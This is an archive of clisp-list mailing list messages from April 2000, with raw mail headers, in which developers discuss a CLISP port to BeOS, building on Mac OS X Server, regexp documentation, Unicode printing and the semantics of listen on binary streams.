[198.215.127.160]) by gwa.ericsson.com (8.9.3/8.9.3) with ESMTP id LAA29301; Mon, 3 Apr 2000 11:56:36 -0500 (CDT) Received: from netmanager7.rtp.ericsson.se (netmanager7.rtp.ericsson.se [147.117.132.245]) by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id LAA14582; Mon, 3 Apr 2000 11:56:36 -0500 (CDT) Received: from edgedsp4 (edgedsp4.rtp.ericsson.se [147.117.125.206]) by netmanager7.rtp.ericsson.se (8.8.8+Sun/8.6.4) with ESMTP id MAA17119; Mon, 3 Apr 2000 12:56:35 -0400 (EDT) Received: (toy@localhost) by edgedsp4 (8.6.8/8.6.8) id MAA18268; Mon, 3 Apr 2000 12:56:35 -0400 From: Raymond Toy MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14568.52546.828216.225161@rtp.ericsson.se> Date: Mon, 3 Apr 2000 12:56:34 -0400 (EDT) To: don@nichimen.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] various questions related to clisp In-Reply-To: <14568.51796.542103.400101@santorini> References: <200004031628.JAA25626@santorini> <14568.51796.542103.400101@santorini> X-Mailer: VM 6.72 under 21.2 (beta32) "Kastor & Polydeukes" XEmacs Lucid >>>>> "Don" == Don Cohen writes: Don> - what common lisp implementations other than clisp don't have Don> multithreading - If I donate to clocc something specifically useful Don> for such implementations is there any point to generalizing it beyond Don> clisp? CMUCL has multi-threading only on x86. I would think all of the commercial lisps have multi-threading. Ray From haible@ilog.fr Mon Apr 3 10:03:48 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id KAA12081 for ; Mon, 3 Apr 2000 10:03:47 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id SAA27816; Mon, 3 Apr 2000 18:53:56 +0200 (MET DST) Received: from oberkampf.ilog.fr ([172.17.4.30]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id SAA12937; Mon, 3 Apr 2000 18:56:48 +0200 (MET DST) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id SAA01693; Mon, 3 Apr 2000 18:56:46 +0200 (MET DST) Date: Mon, 3 Apr 2000 18:56:46 +0200 (MET DST) Message-Id: <200004031656.SAA01693@oberkampf.ilog.fr> To: clisp-list@lists.sourceforge.net Cc: Alexis Rivera Rios Cc: Travis Seymour Subject: [clisp-list] [announce] CLISP for BeOS Binaries and source of CLISP for BeOS 5 are available at ftp://clisp.cons.org/pub/lisp/clisp/binaries/i586-beos/ This is based on a snapshot of clisp, but should be as reliable as the previous 2000-03-06 release. Part of the work was done in collaboration with Alexis Rivera Rios, at that time on BeOS 4.5, but we had problems because the gcc shipped with that BeOS version was not a stable released version of gcc. When building from source, I encountered a problem: After compilation of some Lisp file, the command to rebuild the image, of the form ./lisp.run ....... -x "(load \"init.lisp\")" crashes. To fix this, replace lisp.run by a copy of itself (run "clean lisp.run" - see below), and rerun "make". I would be interested in hearing whether this problem appears in real use as well, or only while building clisp. Enjoy CLISP. I enjoy BeOS. Bruno ====================== /boot/home/config/bin/clean ======================= #!/bin/sh # Usage: clean executable if test $# != 1; then echo "Usage: clean executable" 1>&2 exit 1 fi cp -p "$1" "$1.tmp" mv "$1.tmp" "$1" ========================================================================== From nogard@umich.edu Mon Apr 3 10:12:58 2000 Received: from vivalasvegas.rs.itd.umich.edu (vivalasvegas.rs.itd.umich.edu [141.211.83.35]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id KAA12648 for ; Mon, 3 Apr 2000 10:12:53 -0700 Received: from psycseifert1.umich.edu (psycseifert1.psych.lsa.umich.edu [141.211.36.60]) by vivalasvegas.rs.itd.umich.edu (8.9.1/3.1r) with ESMTP id NAA14685; Mon, 3 Apr 2000 13:06:32 -0400 (EDT) Message-Id: <4.3.2.20000403130149.00b67790@n.imap.itd.umich.edu> X-Sender: nogard@n.imap.itd.umich.edu X-Mailer: QUALCOMM Windows Eudora Version 4.3 Date: Mon, 03 Apr 2000 13:06:23 -0500 To: Bruno Haible , clisp-list@lists.sourceforge.net From: Travis Seymour Cc: Alexis Rivera Rios In-Reply-To: <200004031656.SAA01693@oberkampf.ilog.fr> Mime-Version: 1.0 Content-Type: multipart/alternative; boundary="=====================_423620514==_.ALT" Subject: [clisp-list] Re: [announce] CLISP for BeOS --=====================_423620514==_.ALT Content-Type: text/plain; charset="us-ascii"; format=flowed Great! I got some diffs from Alexis a little while ago and succeeded in reproducing the problems she (I apologize if Alexis is a he!!??) had but could not make much progress. I'm glad for both of us that you don't think it was our fault! Thanks for working on this, both of you. Travis At 06:56 PM 4/3/00 +0200, Bruno Haible wrote: >Binaries and source of CLISP for BeOS 5 are available at > > ftp://clisp.cons.org/pub/lisp/clisp/binaries/i586-beos/ > >This is based on a snapshot of clisp, but should be as reliable as the >previous 2000-03-06 release. > >Part of the work was done in collaboration with Alexis Rivera Rios, >at that time on BeOS 4.5, but we had problems because the gcc shipped >with that BeOS version was not a stable released version of gcc. > >When building from source, I encountered a problem: After compilation >of some Lisp file, the command to rebuild the image, of the form > > ./lisp.run ....... -x "(load \"init.lisp\")" > >crashes. To fix this, replace lisp.run by a copy of itself (run >"clean lisp.run" - see below), and rerun "make". I would be interested >in hearing whether this problem appears in real use as well, or only >while building clisp. > >Enjoy CLISP. I enjoy BeOS. > > Bruno > > > >====================== /boot/home/config/bin/clean ======================= >#!/bin/sh ># Usage: clean executable >if test $# != 1; then > echo "Usage: clean executable" 1>&2 > exit 1 >fi >cp -p "$1" "$1.tmp" >mv "$1.tmp" "$1" >========================================================================== ------------------------------------------------------------------------------ Travis L. Seymour 4443 East Hall University of Michigan 734-764-4488 Cognitive Psychology 734-763-7480 (fax) homepage: http://www.umich.edu/~nogard ------------------------------------------------------------------------------ --=====================_423620514==_.ALT Content-Type: text/html; charset="us-ascii" Great! I got some diffs from Alexis a little while ago and succeeded in reproducing the problems she (I apologize if Alexis is a he!!??) had but could not make much progress.  I'm glad for both of us that you don't think it was our fault!
Thanks for working on this, both of you.

Travis

At 06:56 PM 4/3/00 +0200, Bruno Haible wrote:

Binaries and source of CLISP for BeOS 5 are available at

   ftp://clisp.cons.org/pub/lisp/clisp/binaries/i586-beos/

This is based on a snapshot of clisp, but should be as reliable as the
previous 2000-03-06 release.

Part of the work was done in collaboration with Alexis Rivera Rios,
at that time on BeOS 4.5, but we had problems because the gcc shipped
with that BeOS version was not a stable released version of gcc.

When building from source, I encountered a problem: After compilation
of some Lisp file, the command to rebuild the image, of the form

   ./lisp.run ....... -x "(load \"init.lisp\")"

crashes. To fix this, replace lisp.run by a copy of itself (run
"clean lisp.run" - see below), and rerun "make". I would be interested
in hearing whether this problem appears in real use as well, or only
while building clisp.

Enjoy CLISP. I enjoy BeOS.

                     Bruno



====================== /boot/home/config/bin/clean =======================
#!/bin/sh
# Usage: clean executable
if test $# != 1; then
  echo "Usage: clean executable" 1>&2
  exit 1
fi
cp -p "$1" "$1.tmp"
mv "$1.tmp" "$1"
==========================================================================


------------------------------------------------------------------------------
Travis L. Seymour               4443 East Hall
University of Michigan          734-764-4488
Cognitive Psychology            734-763-7480 (fax)
      homepage: http://www.umich.edu/~nogard
------------------------------------------------------------------------------

--=====================_423620514==_.ALT-- From haible@ilog.fr Mon Apr 3 10:56:29 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id KAA15292 for ; Mon, 3 Apr 2000 10:56:27 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id TAA29017; Mon, 3 Apr 2000 19:42:49 +0200 (MET DST) Received: from oberkampf.ilog.fr ([172.17.4.30]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id TAA16185; Mon, 3 Apr 2000 19:45:41 +0200 (MET DST) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id TAA02020; Mon, 3 Apr 2000 19:45:39 +0200 (MET DST) Date: Mon, 3 Apr 2000 19:45:39 +0200 (MET DST) Message-Id: <200004031745.TAA02020@oberkampf.ilog.fr> To: don@nichimen.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] various questions related to clisp In-Reply-To: <14568.51796.542103.400101@santorini> References: <200004031628.JAA25626@santorini> <14568.51796.542103.400101@santorini> Don Cohen writes: > - what's the difference between the clisp license and the GPL? > I see the difference in the text but I'm having a hard time > understanding the implications. This is explained in http://clisp.sourceforge.net/impnotes.html#app-dev > - does clisp run on any machines that support larger than 32 bit > address spaces? Yes. The first 64-bit platform to be supported was Alpha OSF/1 in 1993. Bruno From stig@ii.uib.no Mon Apr 3 12:03:43 2000 Received: from ii.uib.no (eik.ii.uib.no [129.177.16.3]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id MAA19180 for ; Mon, 3 Apr 2000 12:03:41 -0700 Received: from apal.ii.uib.no [129.177.16.7] by ii.uib.no with esmtp (Exim 3.03) id 12cC2L-0001p8-00 for ; Mon, 03 Apr 2000 20:57:21 +0200 Received: (from stig@localhost) by apal.ii.uib.no (8.8.8+Sun/8.8.7) id UAA21681; Mon, 3 Apr 2000 20:57:21 +0200 (MET DST) Date: Mon, 3 Apr 2000 20:57:21 +0200 (MET DST) From: Stig Erik Sandoe To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] debian package of 2000-03-06 hi, has anyone made a .deb of the 2000-03-06 release? ------------------------------------------------------------------ Stig Erik Sandoe stig@ii.uib.no http://www.ii.uib.no/~stig/ From gottlieb@greatergood.com Mon Apr 3 14:21:25 2000 Received: from htserv01.yss4.com (www.greatergood.com [206.253.208.194]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id OAA27644 for ; Mon, 3 Apr 2000 14:21:24 -0700 Received: from robert (external01.yss4.com [206.253.198.195]) by htserv01.yss4.com (8.9.2/) with SMTP id OAA05639 for ; Mon, 3 Apr 2000 14:14:57 -0700 (PDT) X-Mailer: PopOver 2.0.150 (Rhapsody; ppc) From: Robert Gottlieb Date: Mon, 03 Apr 2000 14:14:55 -0700 To: clisp-list@lists.sourceforge.net Message-ID: <0004031414.AA553263@robert> Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Mime-Version: 1.0 Status: X-Status: Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by lists.sourceforge.net id OAA27644 Subject: [clisp-list] clisp on Mac OS X Server Hi, Has anyone successfully compiled Clisp on Mac OS X Server? If so, could you please email me a tar or some binary, or tell me how? thanks, Robert Gottlieb gottlieb@greatergood.com From haible@ilog.fr Mon Apr 3 14:32:42 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id OAA28251 for ; Mon, 3 Apr 2000 14:32:41 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id XAA04107; Mon, 3 Apr 2000 23:22:13 +0200 (MET DST) Received: from oberkampf.ilog.fr ([172.17.4.30]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id XAA28036; Mon, 3 Apr 2000 23:25:03 +0200 (MET DST) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id XAA03775; Mon, 3 Apr 2000 23:25:02 +0200 (MET DST) Date: Mon, 3 Apr 2000 23:25:02 +0200 (MET DST) Message-Id: <200004032125.XAA03775@oberkampf.ilog.fr> To: Robert Gottlieb Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] clisp on Mac OS X Server In-Reply-To: <0004031414.AA553263@robert> References: <0004031414.AA553263@robert> > Has anyone successfully compiled Clisp on Mac OS X Server? If so, could > you please email me a tar or some binary, or tell me how? clisp version 2000-03-06 should build on MacOS X Server. There are a few quirks mentioned in the unix/PLATFORMS file, however: ! On Apple PowerPC running MacOS X Server: ! ! The /bin/sh shell has at least two bugs which make it unusable for the ! configuration scripts. As a workaround, you have to set the environment ! variable CONFIG_SHELL to "/bin/bash", and start ! "$CONFIG_SHELL ./configure ..." instead of "./configure ...". ! ! The default stack size limit is 512 KB, which is too small for bootstrapping ! CLISP. Even 1 MB is too small. Try "ulimit -S -s 8192" before starting ! "make". ! ! Remove all optimization options ("-O", "-O2") from the CC and CFLAGS ! variables in the Makefile. Apple's cc crashes when compiling eval.d with ! optimization. For this latter reason, binary packages are not on our ftp server: I wait until they provide a reasonable C compiler. Bruno From don@baja.nichimen.com Mon Apr 3 18:52:27 2000 Received: from baja.nichimen.com (baja.nichimen.com [204.31.88.62]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id SAA06603 for ; Mon, 3 Apr 2000 18:52:27 -0700 Received: from santorini (santorini [204.31.88.209]) by baja.nichimen.com (8.9.3/8.9.3) with SMTP id SAA05443 for ; Mon, 3 Apr 2000 18:46:08 -0700 (PDT) Received: by santorini (950413.SGI.8.6.12//ident-1.0) id SAA02673; Mon, 3 Apr 2000 18:46:07 -0700 Message-Id: <200004040146.SAA02673@santorini> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Mon, 3 Apr 2000 18:46:07 -0700 (PDT) From: don@nichimen.com (Don Cohen) To: clisp-list@lists.sourceforge.net Subject: [clisp-list] regexp doc? I see a small example in impnotes, but nothing approaching documentation. On the other hand it says posix, so I imagine this is standard. But man only shows me something for tcl. And it doesn't look much like the symbols exported from the clisp regexp package. Where should I look? From haible@ilog.fr Tue Apr 4 03:13:35 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id DAA20654 for ; Tue, 4 Apr 2000 03:13:34 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id LAA20976; Tue, 4 Apr 2000 11:59:57 +0200 (MET DST) Received: from oberkampf.ilog.fr ([172.17.4.30]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id MAA14041; Tue, 4 Apr 2000 12:02:49 +0200 (MET DST) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id MAA18095; Tue, 4 Apr 2000 12:02:48 +0200 (MET DST) Date: Tue, 4 Apr 2000 12:02:48 +0200 (MET DST) Message-Id: <200004041002.MAA18095@oberkampf.ilog.fr> To: don@nichimen.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] regexp doc? In-Reply-To: <200004040146.SAA02673@santorini> References: <200004040146.SAA02673@santorini> Don Cohen asks: > Where should I look? In the source distribution, clisp-2000-03-06/modules/regexp/regexp.dvi. From don@baja.nichimen.com Tue Apr 4 07:35:36 2000 Received: from baja.nichimen.com (baja.nichimen.com [204.31.88.62]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA31033 for ; Tue, 4 Apr 2000 07:35:36 -0700 Received: from santorini (santorini [204.31.88.209]) by baja.nichimen.com (8.9.3/8.9.3) with SMTP id HAA16134; Tue, 4 Apr 2000 07:29:14 -0700 (PDT) Received: by santorini (950413.SGI.8.6.12//ident-1.0) id HAA27277; Tue, 4 Apr 2000 07:29:14 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 4 Apr 2000 07:29:14 -0700 (PDT) From: don@nichimen.com (Don Cohen) To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] regexp doc? In-Reply-To: <200004041002.MAA18095@oberkampf.ilog.fr> References: <200004040146.SAA02673@santorini> <200004041002.MAA18095@oberkampf.ilog.fr> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14569.63407.395410.224699@santorini> Bruno Haible Don Cohen asks: > Where should I look? In the source distribution, clisp-2000-03-06/modules/regexp/regexp.dvi. I see. I suggest that this be at least included in the binary distributions, and preferably add something to impnotes - at least a reference to the doc if not the doc itself. From sds@gnu.org Tue Apr 4 08:30:02 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id IAA00937 for ; Tue, 4 Apr 2000 08:30:01 -0700 Received: from ksp.com.ksp.com (sam [10.100.100.57]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 2HNQ1C7P; Tue, 4 Apr 2000 11:23:01 -0400 Sender: sds@ksp.com To: Don Cohen Cc: Bruno Haible , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] regexp doc? References: <200004040146.SAA02673@santorini> <200004041002.MAA18095@oberkampf.ilog.fr> <14569.63407.395410.224699@santorini> Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Don Cohen's message of "Tue Apr 04 09:25:43 EDT 2000" Date: 04 Apr 2000 11:22:50 -0400 Message-ID: Lines: 22 X-Mailer: Gnus v5.7/Emacs 20.6 >>>> In message <14569.63407.395410.224699@santorini> >>>> On the subject of "Re: [clisp-list] regexp doc?" >>>> Sent on Tue Apr 04 09:25:43 EDT 2000 >>>> Honorable Don Cohen writes: >> Bruno Haible >> Don Cohen asks: >> > Where should I look? >> >> In the source distribution, clisp-2000-03-06/modules/regexp/regexp.dvi. >> >> I see. I suggest that this be at least included in the binary >> distributions, and preferably add something to impnotes - at least >> a reference to the doc if not the doc itself. my plas is convert all docs to docbook/xml and distribute them uniformly. -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Every day above ground is a good day. From sds@gnu.org Tue Apr 4 10:28:44 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id KAA05926 for ; Tue, 4 Apr 2000 10:28:43 -0700 Received: from ksp.com.ksp.com (sam [10.100.100.57]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 2HNQ1C9B; Tue, 4 Apr 2000 13:21:50 -0400 Sender: sds@ksp.com To: clisp-list@lists.sourceforge.net Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Date: 04 Apr 2000 13:21:39 -0400 Message-ID: Lines: 8 X-Mailer: Gnus v5.7/Emacs 20.6 Subject: [clisp-list] printing unicode characters when a string contains unicode characters it often cannot be printed. can i arrange that such characters are printed as &#nnnn; (or #\unnnn)? -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Microsoft: announce yesterday, code today, think tomorrow. From haible@ilog.fr Tue Apr 4 11:58:57 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA10042 for ; Tue, 4 Apr 2000 11:58:56 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id UAA06932 for ; Tue, 4 Apr 2000 20:49:10 +0200 (MET DST) Received: from oberkampf.ilog.fr ([172.17.4.30]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id UAA01375; Tue, 4 Apr 2000 20:52:02 +0200 (MET DST) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id UAA24634; Tue, 4 Apr 2000 20:52:02 +0200 (MET DST) Date: Tue, 4 Apr 2000 20:52:02 +0200 (MET DST) Message-Id: <200004041852.UAA24634@oberkampf.ilog.fr> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] printing unicode characters In-Reply-To: References: Sam writes: > when a string contains unicode characters it often cannot be printed. > can i arrange that such characters are printed as &#nnnn; (or #\unnnn)? The closest you can get is to print them as \uNNNN. (setq *terminal-encoding* charset:java) This encoding is known the "JAVA" encoding, but you can write Unicode characters this way in C (ISO C 99) and C++ (ISO/ANSI C++) as well. Bruno From haible@ilog.fr Tue Apr 4 13:45:48 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id NAA18342 for ; Tue, 4 Apr 2000 13:45:47 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id WAA09158; Tue, 4 Apr 2000 22:31:57 +0200 (MET DST) Received: from oberkampf.ilog.fr ([172.17.4.30]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id WAA06090; Tue, 4 Apr 2000 22:34:49 +0200 (MET DST) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id WAA25305; Tue, 4 Apr 2000 22:34:48 +0200 (MET DST) Date: Tue, 4 Apr 2000 22:34:48 +0200 (MET DST) Message-Id: <200004042034.WAA25305@oberkampf.ilog.fr> To: don@nichimen.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] listen on binary streams? In-Reply-To: <14559.46664.55782.690797@santorini> References: <200003250448.UAA22176@isis.compsvcs.com.> <200003271005.MAA15935@halles.ilog.fr> <14559.46664.55782.690797@santorini> Don Cohen wrote a week ago: > Even in previous versions it seems to me that characters could not > always be one byte long, due to newline encoding. If you see a CR > but nothing more, you can't say there's a character ready, cause you > don't know whether it will be followed by LF. Depending on the > next character you either want read-char to return #\return or > #\newline. You are right. In older clisp versions, a CR could probably cause the 'read-char-no-hang' function to hang. In recent clisp releases this is fixed: The Mac end-of-line convention is accepted too. This means that a lone CR without LF gives #\newline, just like CR followed by LF. And 'listen' knows that it doesn't have to wait for the LF in order to return #\newline. > I suggest that when the stream element type is not character, the > listen function still return true if there is enough data available > to return the next element. It's hard to believe that was not the > intention of the spec. In CLtL you had separate sections for "character I/O" (thick section, including read-char-no-hang and listen) and "binary I/O" (containing only read-byte and write-byte). I therefore believe they were aware that the binary I/O API is not complete. Bruno From don@baja.nichimen.com Tue Apr 4 13:56:58 2000 Received: from baja.nichimen.com (baja.nichimen.com [204.31.88.62]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id NAA18820 for ; Tue, 4 Apr 2000 13:56:57 -0700 Received: from santorini (santorini [204.31.88.209]) by baja.nichimen.com (8.9.3/8.9.3) with SMTP id NAA24039; Tue, 4 Apr 2000 13:50:34 -0700 (PDT) Received: by santorini (950413.SGI.8.6.12//ident-1.0) id NAA08633; Tue, 4 Apr 2000 13:50:34 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 4 Apr 2000 13:50:34 -0700 (PDT) From: don@nichimen.com (Don Cohen) To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] listen on binary streams? In-Reply-To: <200004042034.WAA25305@oberkampf.ilog.fr> References: <200003250448.UAA22176@isis.compsvcs.com.> <200003271005.MAA15935@halles.ilog.fr> <14559.46664.55782.690797@santorini> <200004042034.WAA25305@oberkampf.ilog.fr> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14570.21693.467290.557090@santorini> Bruno Haible Don Cohen wrote a week ago: > Even in previous versions it seems to me that characters could not > always be one byte long, due to newline encoding. If you see a CR > but nothing more, you can't say there's a character ready, cause you > don't know whether it will be followed by LF. Depending on the > next character you either want read-char to return #\return or > #\newline. You are right. In older clisp versions, a CR could probably cause the 'read-char-no-hang' function to hang. In recent clisp releases this is fixed: The Mac end-of-line convention is accepted too. This means that a lone CR without LF gives #\newline, just like CR followed by LF. And 'listen' knows that it doesn't have to wait for the LF in order to return #\newline. I guess that means that read-char can never return #\return or #\linefeed. Is this another change? > I suggest that when the stream element type is not character, the > listen function still return true if there is enough data available > to return the next element. It's hard to believe that was not the > intention of the spec. In CLtL you had separate sections for "character I/O" (thick section, including read-char-no-hang and listen) and "binary I/O" (containing only read-byte and write-byte). I therefore believe they were aware that the binary I/O API is not complete. Perhaps we could take a poll among those authors/reviewers we can find. Any idea who they are and how to reach them? From haible@ilog.fr Tue Apr 4 14:05:39 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id OAA19249 for ; Tue, 4 Apr 2000 14:05:38 -0700 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id WAA09569; Tue, 4 Apr 2000 22:55:50 +0200 (MET DST) Received: from oberkampf.ilog.fr ([172.17.4.30]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id WAA07096; Tue, 4 Apr 2000 22:58:42 +0200 (MET DST) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id WAA25477; Tue, 4 Apr 2000 22:58:41 +0200 (MET DST) Date: Tue, 4 Apr 2000 22:58:41 +0200 (MET DST) Message-Id: <200004042058.WAA25477@oberkampf.ilog.fr> To: Stig Erik Sandoe Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] debian package of 2000-03-06 In-Reply-To: References: Stig Erik Sandoe writes: > has anyone made a .deb of the 2000-03-06 release? I think you have to ask Kevin Dalley. He packaged clisp for Debian, releases 1997-12-06 and 1999-07-22. http://www.debian.org/Packages/stable/interpreters/clisp.html http://www.debian.org/Packages/unstable/interpreters/clisp.html Bruno From don@baja.nichimen.com Tue Apr 4 17:50:45 2000 Received: from baja.nichimen.com (baja.nichimen.com [204.31.88.62]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id RAA30346 for ; Tue, 4 Apr 2000 17:50:44 -0700 Received: from santorini (santorini [204.31.88.209]) by baja.nichimen.com (8.9.3/8.9.3) with SMTP id RAA28783; Tue, 4 Apr 2000 17:43:45 -0700 (PDT) Received: by santorini (950413.SGI.8.6.12//ident-1.0) id RAA12098; Tue, 4 Apr 2000 17:43:44 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Tue, 4 Apr 2000 17:43:44 -0700 (PDT) From: don@nichimen.com (Don Cohen) Cc: Bruno Haible , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] listen on binary streams? In-Reply-To: <14570.21693.467290.557090@santorini> References: <200003250448.UAA22176@isis.compsvcs.com.> <200003271005.MAA15935@halles.ilog.fr> <14559.46664.55782.690797@santorini> <200004042034.WAA25305@oberkampf.ilog.fr> <14570.21693.467290.557090@santorini> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14570.34618.356013.301055@santorini> Below is a reply I got from Steve Haflich on this subject. I guess what it comes down to is that when I switch the stream element type between character and byte I also must be toggling whether it's interactive ! Needless to say, I'm not entirely satisfied. I don't see that listen should have anything to do with interactivity in the sense of whether it makes sense to ask a question. It ought to just tell you whether there's something ready for you to read. Date: Tue, 4 Apr 2000 14:43:31 -0700 From: don@nichimen.com (Don Cohen) To: smh@franz.com Subject: question about common lisp standard The listen function is described as telling you whether there's a "character" available. Is this supposed to mean that on binary streams it whould always return false? Or should it tell you whether there's a byte available? Could this be a simple oversight? Or is it a conscious choice (and if so, why)? Are you the right person to ask? If not, who is? I'm not the correct person to ask as I am no longer involved with Franz' Common Lisp products. I'll give a quick (but unauthoritative) explanantion of the ANS as one of its drafters. listen &optional input-stream generalized-boolean Returns true if there is a character immediately available from input-stream; otherwise, returns false. On a non-interactive input-stream, listen returns true except when at end of file1. If an end of file is encountered, listen returns false. listen is intended to be used when input-stream obtains characters from an interactive device such as a keyboard. In the portable language there is no way to create an interactive stream. An implementation might idiomatically provide one for an interactive connection to the user, and that stream is implied to be a character stream. The only portable way a user can create a stream (ignoring compound streams) is with OPEN, which is necessarily a file-stream and non-interactive. (Ignore the irregularity that Unix devices and named pipes have names in the file system and might sometimes be more usefully connected to interactive streams.) These portable capabilities of LISTEN (as well as stream creation and stream capabilities) are so impoverished as to be nearly irrelevant to real current programming needs, unless you can survive by writing dumb tty-in tty-out applications. For real use, programmers need to depend on the particular platform's (i.e. ACL) extensions, and keep in mind the directions in which those are developing for the future. That question is best directed to the regular bugs@franz.com support channels. From Rupert.Brooks@CCRS.NRCan.gc.ca Wed Apr 5 12:20:45 2000 Received: from cosmos.CCRS.NRCan.gc.ca (cosmos.ccrs.emr.ca [132.156.47.32]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id MAA07181 for ; Wed, 5 Apr 2000 12:20:44 -0700 Received: from s5-ccr-r1.ccrs.nrcan.gc.ca (s5-ccr-r1.ccrs.emr.ca [132.156.47.71]) by cosmos.CCRS.NRCan.gc.ca (8.9.3/8.9.3) with ESMTP id PAA18454 for ; Wed, 5 Apr 2000 15:12:26 -0400 (EDT) Received: by s5-ccr-r1 with Internet Mail Service (5.5.2448.0) id ; Wed, 5 Apr 2000 15:14:16 -0400 Message-ID: <2951561DB3DDD0118FEC00805FFE980503BB46CC@s5-ccr-r1> From: "Brooks, Rupert" To: "'clisp-list@lists.sourceforge.net'" Date: Wed, 5 Apr 2000 